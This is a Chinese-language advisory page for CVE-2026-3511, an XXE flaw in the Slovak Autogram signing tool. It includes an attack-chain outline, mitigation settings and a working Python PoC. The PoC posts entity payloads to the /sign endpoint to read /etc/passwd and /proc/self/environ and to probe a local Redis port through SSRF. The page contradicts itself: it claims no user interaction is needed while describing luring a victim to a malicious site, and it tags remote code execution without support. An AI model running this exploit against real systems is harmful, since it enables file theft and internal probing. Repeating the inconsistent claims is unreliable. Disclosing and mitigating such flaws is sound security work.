IPBUF安全漏洞报告
English
CVE-2026-3511 CVSS 8.6 高危

CVE-2026-3511: Slovensko.Digital Autogram XXE漏洞导致SSRF和任意文件读取

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-3511
漏洞类型
XXE (XML External Entity Injection)
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Slovensko.Digital Autogram

相关标签

XXESSRFXML External Entity InjectionSlovensko.Digital AutogramJavaFile DisclosureRemote Code ExecutionCVE-2026-3511

漏洞概述

CVE-2026-3511是Slovensko.Digital Autogram应用中的一个高危安全漏洞,CVSS评分8.6。该漏洞存在于XMLUtils.java文件中,由于对XML外部实体引用(XXE)的限制不当,导致远程未认证攻击者可以发起服务器端请求伪造(SSRF)攻击,并非法访问运行该应用程序的文件系统上的本地文件。Slovensko.Digital Autogram是斯洛伐克政府推出的数字签名工具,用于电子文档签名验证。攻击成功的关键前提是受害者需要访问一个特制的网站,该网站会向Autogram本地HTTP服务器的/sign端点发送包含恶意XML文档的请求。由于该漏洞影响的是本地运行的HTTP服务器,攻击者需要结合社会工程学技巧,诱导用户访问恶意网页。攻击成功后,攻击者可以读取服务器上的敏感配置文件、凭据文件、环境变量等敏感信息,甚至可以利用SSRF功能探测内网服务。此漏洞无需任何认证即可利用,且不需要用户交互,危害极大。

技术细节

该漏洞的根本原因在于XMLUtils.java文件在解析XML文档时未正确禁用外部实体解析功能。在XML标准中,外部实体允许引用外部文件或URL内容,攻击者可以通过构造特殊的XML文档来读取本地文件或发起内部网络请求。具体来说,攻击者构造的恶意XML文档可能包含如下实体声明:<!ENTITY xxe SYSTEM "file:///etc/passwd">,然后在XML元素中引用该实体。当Autogram应用解析这个XML文档时,会执行外部实体引用,将本地文件内容或远程资源内容插入到XML响应中。攻击者还可以利用HTTP/HTTPS协议发起SSRF攻击,探测内网服务如http://localhost:6379/(Redis服务)或http://192.168.1.1/admin等内部资源。Autogram应用在/sign端点处理传入的XML签名请求时,未对XML输入进行安全验证,直接解析了包含恶意实体的XML文档,导致安全边界被突破。修复此漏洞需要在XML解析器中显式禁用DTD(文档类型定义)中的外部实体和外部DTD声明。

攻击链分析

STEP 1
步骤1
攻击者创建一个包含恶意XML文档的网页,该文档利用XXE漏洞引用外部实体
STEP 2
步骤2
受害者在浏览器中访问攻击者控制的恶意网站
STEP 3
步骤3
恶意网页中的JavaScript代码自动向Autogram本地HTTP服务器的/sign端点发送POST请求,包含特制的XML payload
STEP 4
步骤4
Autogram应用的XMLUtils.java解析XML时触发外部实体引用,导致文件读取或SSRF请求
STEP 5
步骤5
Autogram服务器将读取的文件内容或内网响应包含在XML响应中返回
STEP 6
步骤6
恶意网页通过JavaScript获取响应内容,攻击者由此获得本地文件内容或内网服务信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-3511 XXE -> SSRF PoC # Target: Local Autogram HTTP server # Attack: Read local files via XXE def exploit_xxe(target_url, file_to_read): """ Exploit XXE vulnerability to read local files """ # Malicious XML with external entity to read local file xml_payload = f'''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file://{file_to_read}"> ]> <root> <signature>&xxe;</signature> </root>''' headers = { 'Content-Type': 'application/xml', 'User-Agent': 'Autogram-Client/2.7.1' } print(f"[*] Sending XXE payload to {target_url}") print(f"[*] Attempting to read: {file_to_read}") try: response = requests.post(target_url, data=xml_payload, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body:\n{response.text[:1000]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") def exploit_ssrf(target_url): """ Exploit XXE for SSRF to probe internal services """ # SSRF payload to probe internal Redis service ssrf_payload = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY ssrf SYSTEM "http://127.0.0.1:6379/"> ]> <root> <data>&ssrf;</data> </root>''' headers = { 'Content-Type': 'application/xml', 'User-Agent': 'Autogram-Client/2.7.1' } print(f"[*] Sending SSRF payload to probe localhost:6379") try: response = requests.post(target_url, data=ssrf_payload, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text[:500]}") except requests.exceptions.RequestException as e: print(f"[*] SSRF probe result: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2026-3511.py <target_url> <action>") print("Example: python cve-2026-3511.py http://localhost:8080/sign read_etc_passwd") sys.exit(1) target = sys.argv[1] action = sys.argv[2] if action == "read_etc_passwd": exploit_xxe(target, "/etc/passwd") elif action == "read_env": exploit_xxe(target, "/proc/self/environ") elif action == "ssrf": exploit_ssrf(target) else: exploit_xxe(target, action)

影响范围

Slovensko.Digital Autogram < 2.7.2

防御指南

临时缓解措施
如果无法立即升级,可通过在Java代码中配置XML解析器来临时缓解:在DocumentBuilderFactory和SAXParserFactory中设置相关安全特性禁用外部实体。具体操作包括:factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); 同时在网络层面限制Autogram HTTP服务器仅监听本地连接(127.0.0.1),避免被外部访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表